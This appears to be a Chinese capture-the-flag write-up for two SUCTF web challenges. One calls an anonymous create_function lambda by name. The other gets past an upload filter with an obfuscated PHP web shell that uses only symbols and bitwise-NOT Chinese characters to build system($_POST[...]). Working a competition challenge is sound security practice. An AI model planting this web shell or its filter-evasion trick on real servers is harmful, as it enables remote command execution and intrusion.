当时没好好打,现在把环境复现一下对着wp撸一发。
WEB
annonymous
这题原思路是HITCON2017的一个题目,而且我也看过土师傅的wp,很不幸的是我做的时候还是忘了。。
如图,要想拿到flag,要么执行
SUCTF_$hash
函数,要么直接执行$MY
函数。而 openssl_random_pseudo_bytes(32)
碰撞出来基本靠命,所以只能靠create_function
匿名函数来。
匿名函数会被设置为\x00lambda_%d
,这里的%d是顺序递增的。就算不知道也可以将$MY
输出出来看一下
这里我一开始以为就是
lambda_%d
然后试了半天出不来,后来才发现还有一个不可见字符,在页面上看不到,而在抓包下可以明显看出
注意到了之后写个循环脚本就可以了
#!/usr/bin/env python
# coding=utf-8
import requests
url = "http://108.61.173.33:20000//?func_name="
while True:
r = requests.get(url+"%00lambda_1");
print r.text;
break
getshell
打开上传页面有段上传代码
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}
上传成功后也可以直接访问
所以问题就是如何得到黑名单。
我用bp抓一下包来爆破一下
可见字符中就这么几个是不会被拦截的。
接下来就是如何用这几个字符
$ ( ) [ ] _ ~
来写shell根据P牛的博客中的方法二
这里我直接搬运了别人的payload
echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a
<?php
$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);
上传之后就可以拿到shell
(未完待续)
网友评论